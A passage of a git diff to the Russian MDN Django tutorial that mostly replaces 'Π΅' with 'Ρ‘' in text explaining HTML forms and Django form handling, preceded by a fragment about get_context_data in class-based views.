+<p>ΠœΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ контСкста ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ Π² прСдставлСнии Π½Π° основС классов Π²Β Ρ‚Π΅ΠΌΠ΅Β  <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a>. Для этого Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ <code>get_context_data()</code> (сначала ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ контСкст, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π»ΡŽΠ±Ρ‹ΠΌΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ контСкст). НапримСр, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ blogger Π² контСкст Π½Π° основС Π΅Π³ΠΎΒ <code>BlogAuthor</code> id.</p>
<pre class="brush: python">class SomeView(generic.ListView):
...
diff --git a/files/ru/learn/server-side/django/forms/index.html b/files/ru/learn/server-side/django/forms/index.html
index 902e27932d..d43c505096 100644
--- a/files/ru/learn/server-side/django/forms/index.html
+++ b/files/ru/learn/server-side/django/forms/index.html
@@ -25,7 +25,7 @@ translation_of: Learn/Server-side/Django/Forms
</tr>
<tr>
<th scope="row">ЦСль:</th>
- <td>ΠΠ°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…. Π£Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы отобраТСния Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ процСсс создания Ρ„ΠΎΡ€ΠΌ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΎΠ΄Π½ΠΎΠΉ модСлью.</td>
+ <td>ΠΠ°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…. Π£Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы отобраТСния Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ процСсс создания Ρ„ΠΎΡ€ΠΌ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΎΠ΄Π½ΠΎΠΉ модСлью.</td>
</tr>
</tbody>
</table>
@@ -38,13 +38,13 @@ translation_of: Learn/Server-side/Django/Forms
<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
-<p>Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно слоТной! Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π½Π°Π΄ΠΎ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ Π½Π° HTML, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π΅Π΅ Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅, Π½Π° сторонС сСрвСра, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ (Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°), Π΄Π°Π»Π΅Π΅, Π² случаС возникновСния ошибок Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠΏΡΡ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ, ΠΏΡ€ΠΈ этом, ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ, Π² случаС ΠΆΠ΅ успСха ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈ ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ± этом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Django, ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ, Π±Π΅Ρ€Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ, описанной Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π° сСбя. Он прСдоставляСт Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ Π΅Π΅ поля ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ нСпосрСдствСнно ΠΊΠΎΠ΄Π° HTML-Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈ для контроля Π·Π° процСссом Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ взаимодСйствий с Ρ„ΠΎΡ€ΠΌΠΎΠΉ.</p>
+<p>Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно слоТной! Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π½Π°Π΄ΠΎ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ Π½Π° HTML, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π΅Ρ‘ Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅, Π½Π° сторонС сСрвСра, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ (Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°), Π΄Π°Π»Π΅Π΅, Π² случаС возникновСния ошибок Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠΏΡΡ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ, ΠΏΡ€ΠΈ этом, ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ, Π² случаС ΠΆΠ΅ успСха ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈ ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ± этом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Django, ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ, Π±Π΅Ρ€Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ, описанной Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π° сСбя. Он прСдоставляСт Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ Π΅Ρ‘ поля ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ нСпосрСдствСнно ΠΊΠΎΠ΄Π° HTML-Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈ для контроля Π·Π° процСссом Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ взаимодСйствий с Ρ„ΠΎΡ€ΠΌΠΎΠΉ.</p>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΉ части руководства ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ нСсколько способов создания ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΈ, Π² частности, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… классов Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ объСм Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ возмоТности нашСго сайта <em>LocalLibrary,</em> ΠΏΡƒΡ‚Π΅ΠΌ добавлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡ‚ΡŒ ΠΈΠΌ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ - Π΄ΠΎΠ±Π°Π²ΠΈΠΌ страницы для создания, рСдактирования, удалСния ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² (воспроизвСдСм ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ стандартныС возмоТности административной части сайта).</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΉ части руководства ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ нСсколько способов создания ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΈ, Π² частности, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… классов Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ объСм Ρ€Π°Π±ΠΎΡ‚Ρ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ возмоТности нашСго сайта <em>LocalLibrary,</em> ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π° для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡ‚ΡŒ ΠΈΠΌ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ - Π΄ΠΎΠ±Π°Π²ΠΈΠΌ страницы для создания, рСдактирования, удалСния ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² (воспроизвСдём ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ стандартныС возмоТности административной части сайта).</p>
<h2 id="Π€ΠΎΡ€ΠΌΡ‹_HTML">Π€ΠΎΡ€ΠΌΡ‹ HTML</h2>
-<p>НачнСм ΠΌΡ‹ с ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ³ΠΎ ΠΎΠ±Π·ΠΎΡ€Π° <a href="/en-US/docs/Web/Guide/HTML/Forms">Π€ΠΎΡ€ΠΌ HTML</a>. Рассмотрим ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ HTML, ΠΈΠΌΠ΅ΡŽΡ‰ΡƒΡŽ ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΈΠΌΠ΅Π½ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ "ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹" ("team"), ΠΈ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с Π΄Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»Π΅ΠΌ, тСкстовой ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ:</p>
+<p>Начнём ΠΌΡ‹ с ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ³ΠΎ ΠΎΠ±Π·ΠΎΡ€Π° <a href="/en-US/docs/Web/Guide/HTML/Forms">Π€ΠΎΡ€ΠΌ HTML</a>. Рассмотрим ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ HTML, ΠΈΠΌΠ΅ΡŽΡ‰ΡƒΡŽ ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΈΠΌΠ΅Π½ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ "ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹" ("team"), ΠΈ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с Π΄Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»Π΅ΠΌ, тСкстовой ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ:</p>
<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p>
@@ -58,27 +58,27 @@ translation_of: Learn/Server-side/Django/Forms
<p>Π—Π΄Π΅ΡΡŒ Ρƒ нас Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅ для Π²Π²ΠΎΠ΄Π° ΠΈΠΌΠ΅Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Π½ΠΎ Ρ„ΠΎΡ€ΠΌΠ° <em>ΠΌΠΎΠΆΠ΅Ρ‚</em> ΠΈΠΌΠ΅Ρ‚ΡŒ любоС количСство элСмСнтов Π²Π²ΠΎΠ΄Π° ΠΈ, связанных с Π½ΠΈΠΌΠΈ, тСкстовых ΠΌΠ΅Ρ‚ΠΎΠΊ. Атрибут элСмСнта <code>type</code> опрСдСляСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² Π΄Π°Π½Π½ΠΎΠΉ строкС. Атрибуты <code>name</code> ΠΈΒ  <code>id</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ поля Π² JavaScript/CSS/HTML, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ <code>value</code> содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поля (ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ показываСтся Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·). ВСкстовая ΠΌΠ΅Ρ‚ΠΊΠ° добавляСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ тэга <code style="font-style: normal; font-weight: normal;">label</code> (смотритС "Enter name", Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅) ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code style="font-style: normal; font-weight: normal;">for</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° <code style="font-style: normal; font-weight: normal;">id</code>, Ρ‚ΠΎΠ³ΠΎ поля, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ данная тСкстовая ΠΌΠ΅Ρ‚ΠΊΠ° связана.</p>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>input</code>Β  с  <code>type="submit"</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ° (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отправляСт Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>team_name</code>). Атрибуты Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>method</code>) ΠΈ ΠΊΡƒΠ΄Π°Β  (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>action</code>):</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>input</code>Β  с  <code>type="submit"</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ° (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отправляСт Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>team_name</code>). Атрибуты Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>method</code>) ΠΈ ΠΊΡƒΠ΄Π°Β  (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>action</code>):</p>
<ul>
<li><code>action</code>: Π­Ρ‚ΠΎ рСсурс/URL-адрСс ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ установлСно (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ поля являСтся пустая строка), Ρ‚ΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΠ»ΠΈ класс), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ сформировало Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу.</li>
